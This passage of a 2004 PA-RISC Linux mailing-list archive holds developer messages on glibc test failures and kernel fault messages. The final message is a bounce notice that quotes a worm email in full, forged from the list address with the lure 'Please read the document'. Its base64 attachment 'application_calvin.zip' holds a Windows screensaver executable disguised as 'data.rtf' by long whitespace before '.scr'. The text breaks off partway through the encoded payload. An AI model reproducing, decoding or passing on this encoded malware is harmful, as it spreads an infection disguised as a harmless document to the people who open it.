make[2]: *** [/Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek.out]
Error 1
make[1]: *** [stdio-common/tests] Error 2

... And the compile (always in the chroot disk) of the last k-2.6.6-rc1-pa0
works still fine and even boot well on a b180.

hth,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roy Keene <rkeene@rkeene.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4 bug (fwd)
Date: Tue, 20 Apr 2004 07:48:12 -0500 (CDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404200746120.11253@hammer.oc9.org>
References: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
	<20040420114128.GE18329@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623394 8531 80.91.229.3 (22 Nov 2014 02:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: rkeene@rkeene.org  Tue Apr 20 06:48:48 2004
Return-Path: <rkeene@rkeene.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.oc9.org (unknown [209.224.199.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EF4A484A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 06:48:47 -0600 (MDT)
Original-Received: from hammer.oc9.org (rkeene@localhost [127.0.0.1])
	by mail.oc9.org (8.12.11/8.12.11/Debian-3) with ESMTP id i3KCmFYQ028408
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Tue, 20 Apr 2004 07:48:40 -0500
Original-Received: from localhost (rkeene@localhost)
	by hammer.oc9.org (8.12.11/8.12.11/Debian-3) with ESMTP id
	i3KCmCHk028320; Tue, 20 Apr 2004 07:48:13 -0500
X-Authentication-Warning: hammer.oc9.org: rkeene owned process doing -bs
X-X-Sender: rkeene@hammer.oc9.org
In-Reply-To: <20040420114128.GE18329@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 12:48:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21483

http://parisc-linux.org/   -> "Bug Reporting" (http://bugs.parisc-linux.org/Reporting.html)

How to report a bug in PA-RISC Linux

Send mail to submit@bugs.parisc-linux.org, as described below.

Please don't report several unrelated bugs - especially ones in different
packages - in one message. Also, please don't mail your bug report to any
mailing lists or recipients other than submit@bugs.parisc-linux.org (for
details of how to do this right, see below).



If these are informational only messages they may not be what's causing
the crashes, but they're all I see before the crash occurs (immediately
before)

On Tue, 20 Apr 2004, Matthew Wilcox wrote:

> On Tue, Apr 20, 2004 at 12:41:23AM -0500, Roy Keene wrote:
> > Btw, `submit@bugs.parisc-linux.org' doesn't work.
>
> Where do you see that email address still?  It should have been removed ...
>
> > (double free() shouldn't cause the kernel to give page faults, running it
> >  enough times eventually crashes the kernel)
>
> What you see there is debug information to help you diagnose your app's
> breakage ;-).  You can turn it off by changing #define PRINT_USER_FAULTS
> to #undef PRINT_USER_FAULTS in arch/parisc/mm/fault.c.  I believe the
> Debian kernel does this by default.
>
> Eventually crashinig the kernel is a different matter.  Can you provide
> more information about this?
>
> --
> "Next the statesmen will invent cheap lies, putting the blame upon
> the nation that is attacked, and every man will be glad of those
> conscience-soothing falsities, and will diligently study them, and refuse
> to examine any refutations of them; and thus he will by and by convince
> himself that the war is just, and will thank God for the better sleep
> he enjoys after this process of grotesque self-deception." -- Mark Twain
>


From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian
	unstable	compiler...
Date: Tue, 20 Apr 2004 15:35:37 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20040420193537.GB28094@baldric.uwo.ca>
References: <40711E5600000D4E@ocpmta1.freegates.net>
	<40711E5600009520@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623394 8535 80.91.229.3 (22 Nov 2014 02:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Apr 20 13:36:23 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A95184829
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Apr 2004 13:36:23 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BG11t-0007K7-00; Tue, 20 Apr 2004 15:35:37 -0400
Content-Disposition: inline
In-Reply-To: <40711E5600009520@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (18% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 19:36:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21484

On Tue, Apr 20, 2004 at 02:22:30PM +0200, Joel Soete wrote:
> Carlos,
> 
> Last week I encounter some pb to co last cvs, sorry.
> 
> This week and can apply your patch against the glibc cvs dated 20040419 (just
> some hunk failled because in the uptream: great).
> 
> I just complete the 'make -k check' (on chroot disk) which finished with
> just one more error then well known ones:
> make[2]: *** [/Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek.out]
> Error 1
> make[1]: *** [stdio-common/tests] Error 2
> 
> ... And the compile (always in the chroot disk) of the last k-2.6.6-rc1-pa0
> works still fine and even boot well on a b180.

I'm seeing an extra error with realtime signal delivery tst-timer4, but
not this error. I'm working on fixing tst-timer4, can you find out why
tst-rndseek fails?

What does tst-rndseek.out say? I don't see this error?

Cheers,
Carlos.



From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@ovenbird.mail.pas.earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail delivery failed: returning message to sender
Date: Tue, 20 Apr 2004 13:29:26 -0700
Lines: 609
Approved: news@gmane.org
Message-ID: <E1BG1ry-0006xO-00@ovenbird.mail.pas.earthlink.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623395 8536 80.91.229.3 (22 Nov 2014 02:29:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: MAILER-DAEMON  Tue Apr 20 14:29:26 2004
Return-Path: <>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ovenbird.mail.pas.earthlink.net
	(ovenbird.mail.pas.earthlink.net [207.217.120.247])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F1E749E1
	for <parisc-linux@parisc-linux.org>;
	Tue, 20 Apr 2004 14:29:26 -0600 (MDT)
Original-Received: from exim by ovenbird.mail.pas.earthlink.net with local (Exim 3.36
	#1) id 1BG1ry-0006xO-00
	for parisc-linux@parisc-linux.org; Tue, 20 Apr 2004 13:29:26 -0700
X-Failed-Recipients: advante1211@earthlink.net
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 20:29:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21485

This message was created automatically by mail delivery software (Exim).

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  advante1211@earthlink.net
    SMTP error from remote mailer after end of data:
    host mx6.earthlink.net [207.217.125.21]: 554 Message Rejected Due To Virus Found In Attachment

------ This is a copy of the message, including all the headers. ------

Return-path: <parisc-linux@parisc-linux.org>
Received: from dove-120.pocket ([10.4.120.210] helo=dove)
	by ovenbird.mail.pas.earthlink.net with smtp (Exim 3.36 #1)
	id 1BG1rt-0006qF-00
	for advante1211@earthlink.net; Tue, 20 Apr 2004 13:29:21 -0700
X-MindSpring-Loop: calvin@advanteco.com
Received: from advanteco.com ([69.142.236.70])
	by dove (EarthLink Mail Service) with ESMTP id 1bg1RN2373NZFmi0
	for <calvin@advanteco.com>; Tue, 20 Apr 2004 13:29:15 -0700 (PDT)
From: parisc-linux@parisc-linux.org
To: calvin@advanteco.com
Subject: Re: important application
Date: Tue, 20 Apr 2004 16:25:11 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <200404201329.1bg1RN2373NZFmi0@dove>

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Please read the document.

++++ Attachment: No Virus found
++++ Norman AntiVirus - www.norman.com


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="application_calvin.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="application_calvin.zip"

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
